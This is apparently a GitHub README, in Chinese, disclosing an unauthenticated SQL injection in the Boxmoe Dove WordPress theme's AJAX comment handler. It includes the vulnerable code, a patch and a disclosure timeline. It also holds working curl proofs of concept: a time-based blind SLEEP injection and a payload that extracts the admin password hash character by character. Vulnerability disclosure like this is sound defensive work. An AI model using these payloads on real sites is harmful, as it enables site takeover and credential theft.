Kimdir01/boxmoe-dove-sqli-cve

GitHub: Kimdir01/boxmoe-dove-sqli-cve

针对 Boxmoe Dove WordPress 主题 AJAX 评论处理器中未授权 SQL 注入漏洞(CVSS 9.8)的概念验证与漏洞披露项目。

Stars: 0 | Forks: 0

# CVE-2026-XXXXX ## 通过 AJAX 评论处理器发现的 Boxmoe Dove WordPress 主题未授权 SQL 注入漏洞 ### 漏洞公告信息 | 字段 | 值 | |-------|-------| | **生态系统** | WordPress 主题 | | **包/产品** | Boxmoe Dove WordPress 主题 | | **受影响版本** | 包括 commit `13e8994` 在内的所有版本 | | **已修复版本** | 无 | | **严重程度** | **严重 (CVSS 9.8)** | | **CWE** | CWE-89 (SQL 注入) | | **CVSS 向量** | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | | **代码库** | https://github.com/baomihuahua/boxmoe-dove- | | **星标数** | 198 ⭐ | ### 概述 Boxmoe Dove WordPress 主题在其自定义 AJAX 评论处理器 (`module/fun-ajax-comments.php`) 中包含一个未授权 SQL 注入漏洞。评论的作者、邮箱和内容字段仅通过 `trim()` 和 `strip_tags()` 进行清理——这两种方法都无法防止 SQL 注入——随后在未使用 `$wpdb->prepare()` 或 `esc_sql()` 的情况下,被直接拼接进 SQL `SELECT` 查询中。 ### 受影响组件 | 字段 | 值 | |-------|-------| | **生态系统** | WordPress 主题 | | **包名** | baomihuahua/boxmoe-dove- | | **供应商** | baomihuahua | | **受影响版本** | 全部 | | **已修复版本** | 无 | | **文件** | `module/fun-ajax-comments.php`,第 114–117 行 | ### 描述 该主题实现了一个自定义 AJAX 评论 endpoint,绕过了 WordPress 标准的 `wp-comments-post.php` 及其内置的清理链 (`preprocess_comment` → `wp_filter_comment`)。输入仅通过 `trim()` 和 `strip_tags()` 进行清理,然后直接用于 SQL 查询: **存在漏洞的代码 (`module/fun-ajax-comments.php`,第 48–117 行):** ``` // Line 48: Input — strip_tags only, NO SQL escaping $comment_author = (isset($_POST['author'])) ? trim(strip_tags($_POST['author'])) : null; $comment_author_email = (isset($_POST['email'])) ? trim($_POST['email']) : null; $comment_content = (isset($_POST['comment'])) ? trim($_POST['comment']) : null; // Lines 114-117: Raw concatenation into SQL — NO $wpdb->prepare()! $dupe = "SELECT comment_ID FROM $wpdb->comments WHERE comment_post_ID = '$comment_post_ID' AND ( comment_author = '$comment_author' "; if ($comment_author_email) $dupe .= "OR comment_author_email = '$comment_author_email' "; $dupe .= ") AND comment_content = '$comment_content' LIMIT 1"; if ($wpdb->get_var($dupe)) { // ← SQL INJECTION err('Duplicate comment detected'); } ``` **注意:** 开发者了解 `$wpdb->prepare()` —— 它在第 122 行的频繁发送检查中被使用——但在第 114 行的重复检查查询中却遗漏了。 ### 概念验证 **环境:** 启用了 Boxmoe Dove 主题并开启评论功能的 WordPress 6.x。 **PoC #1 — 基于时间的盲注:** ``` # 通过 5 秒延迟确认漏洞 # 注意:如果 fun-ajax-comments.php 是通过 wp_ajax_nopriv_ hook 注册的, # 将 URL 替换为:http://target/wp-admin/admin-ajax.php?action= curl -X POST "http://target/wp-content/themes/boxmoe-dove-/module/fun-ajax-comments.php" \ --data "comment_post_ID=1" \ --data "author=test" \ --data "email=test@test.com" \ --data "comment=test' AND SLEEP(5) -- " \ --data "submit=Post" # 5 秒以上的响应延迟确认存在 blind SQL injection ``` **PoC #2 — 基于时间的盲注凭据提取:** ``` # 逐个字符提取管理员密码 hash curl -X POST "http://target/wp-content/themes/boxmoe-dove-/module/fun-ajax-comments.php" \ --data "comment_post_ID=1" \ --data "author=test" \ --data "email=test@test.com" \ --data "comment=test' AND IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='\$',SLEEP(5),0) -- " \ --data "submit=Post" # 5 秒延迟 = 第一个字符匹配 '$';通过迭代重建完整密码 hash # WordPress 以 phpass/MD5 格式存储 hash — 可进行 offline 破解 ``` **执行流程:** 1. 攻击者向自定义 AJAX endpoint 发送 POST 请求(绕过 WordPress `wp-comments-post.php`) 2. `strip_tags()` 移除了 HTML 标签,但并不能防止 SQL 注入 3. Payload 被直接拼接进 `$dupe` SQL 字符串中 4. `$wpdb->get_var()` 执行了注入的 SQL 5. 基于时间的盲注提取出管理员密码哈希 ### 影响 | CIA | 级别 | 描述 | |-----|-------|-------------| | 机密性 | **高** | 通过子查询提取所有 WordPress 用户密码哈希 | | 完整性 | **高** | 破解管理员哈希 → 获取完全管理员权限 → 修改任何内容 | | 可用性 | **高** | 管理员权限允许删除所有站点内容 | **攻击场景:** 1. 未经授权的攻击者向自定义 AJAX endpoint 发送构造好的 POST 请求 2. `strip_tags()` 不提供任何 SQL 注入保护 3. 基于时间的盲注提取管理员密码哈希 4. 离线破解哈希 → 导致网站完全被攻陷 ### 补丁 将原始字符串拼接替换为 `$wpdb->prepare()`: ``` - $dupe = "SELECT comment_ID FROM $wpdb->comments - WHERE comment_post_ID = '$comment_post_ID' - AND ( comment_author = '$comment_author' "; - if ($comment_author_email) - $dupe .= "OR comment_author_email = '$comment_author_email' "; - $dupe .= ") AND comment_content = '$comment_content' LIMIT 1"; - if ($wpdb->get_var($dupe)) { ... } + if ($comment_author_email) { + $dupe = $wpdb->prepare( + "SELECT comment_ID FROM $wpdb->comments + WHERE comment_post_ID = %d + AND (comment_author = %s OR comment_author_email = %s) + AND comment_content = %s LIMIT 1", + $comment_post_ID, $comment_author, $comment_author_email, $comment_content + ); + } else { + $dupe = $wpdb->prepare( + "SELECT comment_ID FROM $wpdb->comments + WHERE comment_post_ID = %d + AND comment_author = %s + AND comment_content = %s LIMIT 1", + $comment_post_ID, $comment_author, $comment_content + ); + } + if ($wpdb->get_var($dupe)) { ... } ``` 同时在 SQL 语句使用所有用户提供的数据之前,应用 `esc_sql()` 或预处理语句。 ### 参考资料 | 类型 | URL | |------|-----| | 代码库 | https://github.com/baomihuahua/boxmoe-dove- | | 存在漏洞的代码 | https://github.com/baomihuahua/boxmoe-dove-/blob/master/module/fun-ajax-comments.php#L114 | | WordPress $wpdb::prepare() | https://developer.wordpress.org/reference/classes/wpdb/prepare/ | | CWE-89 | https://cwe.mitre.org/data/definitions/89.html | ### 验证 漏洞已于 2026-06-27 通过本地代码审计确认: ``` git clone https://github.com/baomihuahua/boxmoe-dove-.git cd boxmoe-dove- # 确认第 114 行存在 SQL injection: grep -n "dupe.*SELECT.*wpdb->comments" module/fun-ajax-comments.php # 输出:114: $dupe = "SELECT comment_ID FROM $wpdb->comments WHERE... # 确认易受攻击的 query 上没有 prepare(): grep -B5 "wpdb->get_var.*dupe" module/fun-ajax-comments.php # 显示原始 $dupe 拼接 — 没有 prepare() 包裹 # 确认在其他地方确实使用了 prepare()(开发者知道这一点): grep -n "wpdb->prepare" module/fun-ajax-comments.php # 输出:122(仅用于 flood check — 未用于 dupe query) # 确认输入清理不充分: grep -n "comment_content.*POST" module/fun-ajax-comments.php # 输出:50: $comment_content = trim($_POST['comment']); # 没有 esc_sql(),没有 prepare() — 只有 trim() ``` **验证状态:✅ 所有检查均已通过** ### 时间线 | 日期 | 事件 | |------|-------| | 2026-06-27 | 通过源代码分析发现漏洞 | | 2026-06-27 | 本地验证 —— `git clone` 和代码审计确认了漏洞 | | 2026-06-27 | 通过 GitHub 安全公告通知供应商(私下披露) | | 待定 | 供应商确认/回应 | | 待定 + 90 天 | 协调公开披露 | | 待定 | 分配 CVE ID 并发布公告 | ### CVSS v3.1 ``` CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — 9.8 CRITICAL AV:N — Remote over HTTP (custom AJAX endpoint) AC:L — Simple POST request PR:N — No authentication (anonymous comments) UI:N — No user interaction S:U — Same security context C:H — Extract password hashes via subquery I:H — Crack hash → admin access → modify site A:H — Admin access → delete all content ```
标签:CISA项目, PoC, Web安全, WordPress, 多线程, 文件完整性监控, 暴力破解, 蓝队分析